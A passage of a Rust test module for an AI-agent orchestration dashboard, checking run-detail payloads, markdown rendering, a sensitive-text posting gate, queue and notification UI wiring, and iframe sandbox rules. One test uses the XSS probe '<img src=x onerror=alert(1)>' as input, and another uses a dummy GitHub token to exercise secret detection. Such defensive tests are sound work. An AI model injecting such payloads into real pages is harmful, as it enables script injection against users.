22127        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
22128        // The subtitle still counts them whatever the banner does.
22129        assert!(APP_JS.contains("unreadable` : null"));
22130    }
22131
22132    #[test]
22133    fn blocked_run_detail_exposes_the_failed_gate_reason() {
22134        let mut state = RunState::new(
22135            "/repo".into(),
22136            "main".into(),
22137            "abc".into(),
22138            "task".into(),
22139            crate::config::Config::default(),
22140        );
22141        state.status = RunStatus::Blocked;
22142        state.gate_ran = true;
22143        state.gate.push(crate::run::CommandOutcome {
22144            command: "cargo make check".into(),
22145            code: Some(1),
22146            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
22147            duration_ms: 0,
22148            resource_blocked: false,
22149            ..Default::default()
22150        });
22151        let view = RunDetailView::of(
22152            state,
22153            false,
22154            crate::run::Liveness::Unknown,
22155            None,
22156            None,
22157            None,
22158        );
22159        let value = serde_json::to_value(view).unwrap();
22160        assert_eq!(
22161            value["stop_reason"],
22162            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
22163        );
22164    }
22165
22166    #[test]
22167    fn the_run_detail_payload_says_whether_the_run_is_done() {
22168        // `landView` reads `run.done`; the detail response must carry it.
22169        for (status, done) in [
22170            (RunStatus::Superseded, true),
22171            (RunStatus::Blocked, true),
22172            (RunStatus::Landing, false),
22173        ] {
22174            let mut state = RunState::new(
22175                std::path::PathBuf::from("/repo"),
22176                "main".to_owned(),
22177                "abc".to_owned(),
22178                "x".to_owned(),
22179                crate::config::Config::default(),
22180            );
22181            state.status = status;
22182            let v = serde_json::to_value(RunDetailView::of(
22183                state,
22184                false,
22185                crate::run::Liveness::Unknown,
22186                None,
22187                None,
22188                None,
22189            ))
22190            .unwrap();
22191            assert_eq!(v["done"], done, "{status:?}");
22192        }
22193    }
22194
22195    /// The first node of a markdown block holds a `strong` somewhere.
22196    fn has_strong(nodes: &[md::Node]) -> bool {
22197        serde_json::to_string(nodes).unwrap().contains("strong")
22198    }
22199
22200    #[test]
22201    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
22202        let mut state = RunState::new(
22203            std::path::PathBuf::from("/repo"),
22204            "main".to_owned(),
22205            "abc".to_owned(),
22206            "x".to_owned(),
22207            crate::config::Config::default(),
22208        );
22209        let proposal = |approach: &str| {
22210            serde_json::json!({
22211                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
22212            })
22213        };
22214        state.advice = Some(
22215            serde_json::from_value(serde_json::json!({
22216                "records": [
22217                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
22218                     "proposal": proposal("do **this**")},
22219                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
22220                ],
22221                "synthesis": "- one\n- **two**\n\n`code`",
22222            }))
22223            .unwrap(),
22224        );
22225        state.candidates = serde_json::from_value(serde_json::json!([
22226            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
22227             "summary": "did **it**"},
22228            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
22229        ]))
22230        .unwrap();
22231        // Recorded in ascending severity, the reverse of how the page sorts
22232        // them: the arrays must follow the record, not the display.
22233        state.reviews = serde_json::from_value(serde_json::json!([{
22234            "round": 1, "head": "h",
22235            "reviews": [{
22236                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
22237                "findings": [
22238                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
22239                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
22240                ],
22241            }],
22242            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
22243            "fix": {"agent": "a", "notes": "fixed **it**",
22244                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
22245        }, {"round": 2, "head": "h2", "reviews": []}]))
22246        .unwrap();
22247
22248        let v = serde_json::to_value(RunDetailView::of(
22249            state,
22250            false,
22251            crate::run::Liveness::Unknown,
22252            None,
22253            None,
22254            None,
22255        ))
22256        .unwrap();
22257
22258        let strong = |p: &str| {
22259            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
22260            assert!(n.to_string().contains("strong"), "{p}: {n}");
22261        };
22262        strong("/advice_md/synthesis");
22263        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
22264        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
22265        strong("/advice_md/approaches/0");
22266        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
22267        strong("/candidate_summaries_md/0");
22268        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
22269        strong("/reviews_md/0/reviewers/0/summary");
22270        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
22271        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
22272        assert!(f[1].to_string().contains("strong"));
22273        strong("/reviews_md/0/reconsideration/0");
22274        strong("/reviews_md/0/fix/notes");
22275        strong("/reviews_md/0/fix/rejected/0");
22276        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
22277        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
22278        // The raw strings stay, and no schema moved.
22279        assert_eq!(v["candidates"][0]["summary"], "did **it**");
22280        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
22281    }
22282
22283    #[test]
22284    fn a_run_without_advice_has_no_advice_md() {
22285        let state = RunState::new(
22286            std::path::PathBuf::from("/repo"),
22287            "main".to_owned(),
22288            "abc".to_owned(),
22289            "x".to_owned(),
22290            crate::config::Config::default(),
22291        );
22292        let p = run_prose_md(&state);
22293        assert!(p.advice_md.is_none());
22294        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
22295    }
22296
22297    #[test]
22298    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
22299        let store = ask::Questions::at(PathBuf::from("unused"));
22300        let gt = crate::github_text::Withheld {
22301            title: false,
22302            body: true,
22303            categories: vec!["sensitive-data".into()],
22304        };
22305        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
22306        let (detail, comparison) =
22307            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
22308        let mut q = Question::new(
22309            "r".into(),
22310            "github-text".into(),
22311            "posting-gate".into(),
22312            "s".into(),
22313            detail,
22314            Vec::new(),
22315        );
22316        assert!(
22317            QuestionView::of(q.clone(), &store, None)
22318                .posting_view
22319                .is_none()
22320        );
22321        q.posting_comparison = Some(comparison);
22322        let view = QuestionView::of(q.clone(), &store, None);
22323        let field = &view.posting_view.unwrap().fields[0];
22324        assert_eq!(
22325            field
22326                .original
22327                .iter()
22328                .map(|f| f.text.as_str())
22329                .collect::<String>(),
22330            body
22331        );
22332        assert!(field.original[0].text.starts_with("<img"));
22333        let original_question: Question =
22334            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
22335        assert_eq!(original_question, q);
22336        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
22337            .original
22338            .start = 1;
22339        assert!(
22340            QuestionView::of(q.clone(), &store, None)
22341                .posting_view
22342                .is_none()
22343        );
22344        q.posting_comparison = original_question.posting_comparison;
22345        q.detail.push_str("extra context");
22346        assert!(
22347            QuestionView::of(q.clone(), &store, None)
22348                .posting_view
22349                .is_some()
22350        );
22351        q.detail.insert(0, 'x');
22352        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
22353    }
22354
22355    #[test]
22356    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
22357        let store = ask::Questions::at(PathBuf::from("unused"));
22358        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
22359        let gt = crate::github_text::Withheld::from_check(
22360            &crate::github_text::check("fix: x", body),
22361            "fix: x",
22362            body,
22363        )
22364        .unwrap();
22365        let (detail, comparison) =
22366            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
22367        let mut q = Question::new(
22368            "r".into(),
22369            "github-text".into(),
22370            "posting-gate".into(),
22371            "s".into(),
22372            detail,
22373            Vec::new(),
22374        );
22375        q.posting_comparison = Some(comparison);
22376        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
22377        let field = &value["posting_view"]["fields"][0];
22378        let group = &field["replacement_group"];
22379        let triggers = group["triggers"].as_array().unwrap();
22380        assert_eq!(triggers.len(), 2);
22381        assert_ne!(triggers[0], triggers[1]);
22382        for id in triggers {
22383            assert!(
22384                field["original"]
22385                    .as_array()
22386                    .unwrap()
22387                    .iter()
22388                    .any(|f| &f["pair"] == id)
22389            );
22390            assert!(
22391                !field["changed"]
22392                    .as_array()
22393                    .unwrap()
22394                    .iter()
22395                    .any(|f| &f["pair"] == id)
22396            );
22397        }
22398        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
22399            group["id"].as_u64().unwrap() as usize;
22400        assert!(
22401            QuestionView::of(q, &store, None).posting_view.is_none(),
22402            "group and trigger IDs cannot collide"
22403        );
22404    }
22405
22406    #[test]
22407    fn a_question_view_carries_markdown_for_each_thread_turn() {
22408        let home = TempDir::new().unwrap();
22409        let store = ask::Questions::at(home.path().join("questions"));
22410        let mut q = Question::new(
22411            "run".to_owned(),
22412            "implement".to_owned(),
22413            "impl-A".to_owned(),
22414            "which?".to_owned(),
22415            String::new(),
22416            Vec::new(),
22417        );
22418        q.say("plain words").unwrap();
22419        q.reply("use **this**", Vec::new()).unwrap();
22420        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22421        let bodies = &v["thread_bodies_md"];
22422        assert_eq!(bodies.as_array().unwrap().len(), 2);
22423        assert!(!bodies[0].to_string().contains("strong"));
22424        assert!(bodies[1].to_string().contains("strong"));
22425    }
22426
22427    #[test]
22428    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
22429        let home = TempDir::new().unwrap();
22430        let store = ask::Questions::at(home.path().join("questions"));
22431        let mut q = Question::new(
22432            "run".to_owned(),
22433            "conduct".to_owned(),
22434            "conduct".to_owned(),
22435            "which?".to_owned(),
22436            String::new(),
22437            Vec::new(),
22438        );
22439        q.say("plain words").unwrap();
22440        q.thread.push(ask::Turn {
22441            who: ask::Who::Agent,
22442            body: "Settled as `merge`".to_owned(),
22443            at: jiff::Timestamp::now(),
22444            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
22445        });
22446        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22447        let notes = &v["thread_notes_md"];
22448        assert_eq!(notes.as_array().unwrap().len(), 2);
22449        assert!(notes[0].is_null());
22450        let text = notes[1].to_string();
22451        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
22452        assert!(APP_JS.contains("ask-turn-note"));
22453    }
22454
22455    #[test]
22456    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
22457        // The land panel defers to `run.status` for merged, and labels a
22458        // recorded-open PR on any finished run (superseded, blocked, ...) as
22459        // last seen, never as live state.
22460        assert!(APP_JS.contains("function landView(run, raw) {"));
22461        assert!(
22462            APP_JS.contains(
22463                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
22464            )
22465        );
22466        assert!(APP_JS.contains("const pr = landView(run, raw);"));
22467        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
22468        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
22469        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
22470    }
22471
22472    #[test]
22473    fn live_runs_are_never_hidden_or_folded_as_superseded() {
22474        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
22475        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
22476        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
22477        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
22478    }
22479
22480    #[test]
22481    fn review_rounds_label_a_distinct_verified_head() {
22482        assert!(APP_JS.contains("round.verified_head"));
22483        assert!(APP_JS.contains("verified HEAD"));
22484        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
22485    }
22486
22487    #[test]
22488    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
22489        // A blocked task's chip and note must not fall back to a queued-like
22490        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
22491        // itself by e11fc58 but never checked here.
22492        assert!(APP_JS.contains("blocked: { glyph:"));
22493        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
22494
22495        // `blocked_by` mixes task ids and question ids in the same list, and
22496        // the client can only tell them apart by checking each id against
22497        // what it actually knows - never by guessing from the id's shape.
22498        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
22499        assert!(
22500            APP_JS.contains(
22501                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
22502            ),
22503            "the note line must name what a blocked task is waiting on, not just that it is blocked"
22504        );
22505        // The classification must key off `status_str`, never off `blocked_by`
22506        // or `block_reason` merely being present - both can survive briefly
22507        // on a task a hold or a dead daemon just moved off `blocked`.
22508        assert!(APP_JS.contains("if (status === \"blocked\") {"));
22509
22510        // A question a task is blocked on gets its own node in the same
22511        // dependency graph, not just a task-shaped node with nothing known
22512        // about it. The web_render browser test checks the actual destination.
22513        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
22514        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
22515
22516        // `Task::answers` - decisions already made - are shown as a record on
22517        // the card, the same disclosure style as the full instruction.
22518        assert!(APP_JS.contains("Resolved questions"));
22519        assert!(APP_JS.contains("r.answersList.append("));
22520        assert!(APP_CSS.contains(".task-answers"));
22521        {
22522            let start = APP_JS
22523                .find("function updateTalkTaskRow")
22524                .expect("updateTalkTaskRow");
22525            let body = &APP_JS[start..];
22526            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
22527            assert!(
22528                body.contains(
22529                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
22530                ),
22531                "a chat-filed task row must link to the task page"
22532            );
22533            assert!(
22534                !body.contains("#/runs/") && !body.contains("#/queue/"),
22535                "the row must not branch to a run or the queue card"
22536            );
22537            assert!(APP_CSS.contains(".talk-task-link"));
22538        }
22539    }
22540
22541    #[test]
22542    fn a_task_notification_links_to_the_task_page() {
22543        // A task notice opens the task detail page, not the Backlog card.
22544        let start = APP_JS
22545            .find("function noticeLink(")
22546            .expect("noticeLink exists");
22547        let body = &APP_JS[start..];
22548        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
22549        assert!(
22550            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
22551            "a task notice's link must target the task page"
22552        );
22553        assert!(
22554            !body.contains("#/queue/"),
22555            "regression: the task link must not go back to the Backlog route"
22556        );
22557        assert!(
22558            APP_JS.contains(
22559                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
22560            ),
22561            "`#/tasks/<id>` must parse into the task route"
22562        );
22563
22564        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
22565        assert!(
22566            APP_JS.contains(
22567                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
22568            ),
22569            "`#/queue/<id>` must parse into a route carrying that id"
22570        );
22571
22572        // And the Backlog view has to actually land on the card once it can
22573        // - see consumeQueueFocus(), which renderQueue() calls on every pass
22574        // so a focus set before the queue has loaded is retried once it has.
22575        assert!(APP_JS.contains("state.queueFocus = route.id;"));
22576        assert!(APP_JS.contains("function consumeQueueFocus()"));
22577        assert!(APP_JS.contains("jumpToTask(id)"));
22578    }
22579
22580    #[test]
22581    fn notifications_distinguish_actionable_questions_from_informational_notices() {
22582        let start = APP_JS
22583            .find("function noticeCoveredBy(")
22584            .expect("noticeCoveredBy exists");
22585        let body = &APP_JS[start..];
22586        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
22587
22588        // Historical associations are informational, even for open questions.
22589        assert!(body.contains("Associated question ${short}"));
22590        assert!(!body.contains("el(\"a\""));
22591
22592        // A resolved question displays status rather than an actionable link
22593        assert!(body.contains("(resolved)"));
22594        assert!(body.contains("(closed)"));
22595
22596        let start = APP_JS
22597            .find("function renderNotifications()")
22598            .expect("renderNotifications exists");
22599        let body = &APP_JS[start..];
22600        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
22601
22602        // Only a server-resolved answerable question supplies a response link.
22603        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
22604        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
22605        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
22606        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
22607    }
22608
22609    /// Chat rows are two lines at every width: the title alone, then the
22610    /// shrinkable secondary info.
22611    #[test]
22612    fn chat_rows_put_the_title_alone_on_the_first_line() {
22613        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
22614        assert!(APP_CSS.contains(
22615            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
22616        ));
22617        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
22618        assert!(APP_JS.contains("class: \"badge talk-unread\""));
22619    }
22620
22621    #[test]
22622    fn run_rows_put_the_title_alone_on_the_first_line() {
22623        assert!(
22624            APP_CSS.contains(
22625                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
22626            )
22627        );
22628        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
22629        assert!(APP_JS.contains("class: \"card run-card\""));
22630        assert!(APP_JS.contains("class: \"repo run-id\""));
22631    }
22632
22633    /// Wide screens get a master/detail layout built from the views a phone
22634    /// drills into. These are string assertions: they pin the contract between
22635    /// the three assets, not how it looks.
22636    #[test]
22637    fn wide_screens_show_list_and_preview_side_by_side() {
22638        // One breakpoint, spelled the same in the script and the stylesheet.
22639        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
22640        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
22641        assert!(APP_CSS.contains("main[data-split]"));
22642        assert!(APP_CSS.contains("body[data-split]"));
22643
22644        // The route -> panes table, and a narrow screen opting out of it.
22645        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
22646        assert!(
22647            APP_JS.contains(
22648                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
22649            )
22650        );
22651        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
22652        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
22653        assert!(INDEX_HTML.contains("id=\"split-empty\""));
22654
22655        // Selection is derived from the route, and only ever paints a row.
22656        assert!(APP_JS.contains("function markSelected() {"));
22657        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
22658        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
22659        // The dense row must override the stacked card the 720px block sets up.
22660        assert!(
22661            APP_CSS.contains(
22662                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
22663            )
22664        );
22665
22666        // Independent scrolling: the page stops scrolling, each pane does.
22667        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
22668        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
22669        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
22670        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
22671
22672        // A refresh must never navigate: the loaders still check that their
22673        // subject is the one on screen, and crossing the breakpoint only
22674        // re-reads the hash.
22675        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
22676        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
22677        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
22678        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
22679
22680        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
22681        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
22682    }
22683
22684    #[test]
22685    fn panel_sandbox_carries_exactly_popups() {
22686        let needle = "sandbox: \"";
22687        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
22688        assert_eq!(
22689            matches.len(),
22690            1,
22691            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
22692        );
22693        let start = matches[0].0 + needle.len();
22694        let end = APP_JS[start..]
22695            .find('"')
22696            .expect("sandbox attribute value must be terminated by a closing quote");
22697        let val = &APP_JS[start..start + end];
22698        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
22699        let expected: std::collections::BTreeSet<&str> =
22700            ["allow-popups", "allow-popups-to-escape-sandbox"]
22701                .into_iter()
22702                .collect();
22703        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
22704        assert!(
22705            !tokens.contains("allow-scripts"),
22706            "allow-scripts must never be present in sandbox"
22707        );
22708        assert!(
22709            !tokens.contains("allow-same-origin"),
22710            "allow-same-origin must never be present in sandbox"
22711        );
22712    }
22713
22714    #[test]
22715    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
22716        // consumeQueueFocus() clears an active Backlog search before it can
22717        // scroll to the target card (the sections list is hidden while a
22718        // search is showing), by recursing back into renderQueue(). The
22719        // fixer's first cut nulled state.queueFocus before that recursive
22720        // call, so the second pass saw nothing to jump to and the jump was
22721        // silently dropped whenever a notification's link was opened with a
22722        // stale search still active. state.queueFocus must only be cleared
22723        // right before jumpToTask() actually runs.
22724        assert!(
22725            APP_JS.contains(
22726                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
22727            ),
22728            "the search-clearing branch must run before state.queueFocus is cleared, or the \
22729             recursive renderQueue() call has nothing left to jump to"
22730        );
22731        assert!(
22732            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
22733            "state.queueFocus must be cleared only once the jump has landed, so a card that \
22734             arrives later still gets it"
22735        );
22736        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
22737        assert!(APP_JS.contains("is not in the current Backlog."));
22738        assert!(APP_JS.contains("li.card[data-task-id=\""));
22739        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
22740        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
22741        assert!(APP_CSS.contains(".card-permalink"));
22742        assert!(APP_CSS.contains(".queue-focus-status"));
22743        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
22744    }
22745
22746    #[test]
22747    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
22748        // The task's own repro: only the link text inside .notice-meta was
22749        // clickable, so a tap on the message, the timestamp, or the card's
22750        // padding did nothing - on a phone that reads as "the card doesn't
22751        // work" even though the tiny link inside it did. Mark read / Dismiss
22752        // must keep working independently of this: `.closest("a, button")`
22753        // is what lets a tap that actually lands on those elements fall
22754        // through instead of being hijacked into a navigation.
22755        assert!(
22756            APP_JS.contains(
22757                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
22758            ),
22759            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
22760        );
22761    }
22762
22763    #[test]
22764    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
22765        assert!(
22766            APP_JS.contains("round.verified_head !== round.head"),
22767            "a round that verified an earlier commit must be visibly distinct from one that \
22768             verified the head reviewers are looking at now"
22769        );
22770        assert!(
22771            APP_JS.contains("round.verified_at"),
22772            "when a check ran must be on the wire, not just which commit"
22773        );
22774        assert!(
22775            APP_JS.contains("resource_blocked"),
22776            "a command magi never got to run (shared build cache contention) must not render \
22777             the same as a command that ran and failed"
22778        );
22779    }
22780
22781    #[test]
22782    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
22783        // Every KPI tile but Total runs and Completion names an exact
22784        // RunStatus and hands it to openRunsFiltered(), which is what wires
22785        // the click into state.runsFilter.status (matchesFilter's own
22786        // status check) rather than the coarser runsStateFilter chips. Each
22787        // status literal here must be one of the strings runSection() (and
22788        // isStale()) actually compare a run's own `status` field against -
22789        // a status this dashboard invented would filter to nothing.
22790        assert!(
22791            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
22792            "every KPI tile built through statusTile() must route its click through \
22793             openRunsFiltered, the single place that sets the Runs filter"
22794        );
22795        for (label, status) in [
22796            ("Merged", "merged"),
22797            ("Ready", "ready"),
22798            ("Blocked", "blocked"),
22799            ("Stalled", "stalled"),
22800        ] {
22801            let call = format!("statusTile(\"{label}\", t.{status}, ");
22802            assert!(
22803                APP_JS.contains(&call),
22804                "expected the {label} KPI tile built via {call}..."
22805            );
22806            assert!(
22807                APP_JS.contains(&format!("status === \"{status}\"")),
22808                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
22809                 compare a run against, not one invented only for the stats tile"
22810            );
22811        }
22812        assert!(
22813            APP_JS.contains("function openRunsFiltered(status)"),
22814            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
22815        );
22816        assert!(
22817            APP_JS.contains(
22818                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
22819            ),
22820            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
22821        );
22822        // applyRoute() only flips which view is visible for a plain `#runs`
22823        // hash - it does not itself redraw the list (see applyRoute's own
22824        // handling below) - so openRunsFiltered must call renderRuns()
22825        // itself, and must call applyRoute() too so the view flips even
22826        // when the hash string doesn't change (the operator may already be
22827        // on the Runs view when a tile is tapped, which fires no
22828        // hashchange event at all).
22829        assert!(
22830            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
22831            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
22832             hashchange event that may never fire"
22833        );
22834    }
22835
22836    #[test]
22837    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
22838        // A stats tile can leave state.runsFilter.status set to something
22839        // done-by-construction (e.g. "merged") - picking "Active" afterward
22840        // must drop it the same way an incompatible tree section is already
22841        // dropped, or the Runs list renders permanently empty with no way
22842        // for the operator to tell why.
22843        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
22844        assert!(
22845            APP_JS.contains(
22846                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
22847            ),
22848            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
22849             guard for an incompatible tree section"
22850        );
22851    }
22852
22853    #[test]
22854    fn every_stats_queue_tile_names_a_real_queue_section() {
22855        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
22856        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
22857        // (consumeQueueSectionFocus finds no matching <details> and drops
22858        // the focus) rather than fail loudly, so pin every key against the
22859        // section list it has to resolve against.
22860        assert!(
22861            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
22862            "every queue tile built through sectionTile() must route its click through \
22863             openQueueSectionFocus"
22864        );
22865        for key in ["upnext", "running", "done", "held", "blocked"] {
22866            assert!(
22867                APP_JS.contains(&format!("{{ key: \"{key}\",")),
22868                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
22869            );
22870        }
22871        // Queued and Failed intentionally both resolve to "upnext" - the
22872        // same section queueSection() itself files them under - rather than
22873        // getting a section each.
22874        for line in [
22875            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
22876            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
22877            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
22878            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
22879            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
22880            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
22881        ] {
22882            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
22883        }
22884    }
22885
22886    #[test]
22887    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
22888        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
22889        // above for the section-focus channel a stats queue tile drives:
22890        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
22891        // through the stale-search-clear recursion into renderQueue(), and
22892        // clear it only once revealQueueSection() is actually about to run -
22893        // the same trap that once silently dropped a task-focus jump.
22894        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
22895        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
22896        assert!(APP_JS.contains("function revealQueueSection(details)"));
22897        assert!(
22898            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
22899            "renderQueue() must consume both focus channels on every pass"
22900        );
22901        assert!(
22902            APP_JS.contains(
22903                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
22904            ),
22905            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
22906             the recursive renderQueue() call has nothing left to reveal"
22907        );
22908        assert!(
22909            APP_JS.contains(
22910                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
22911            ),
22912            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
22913        );
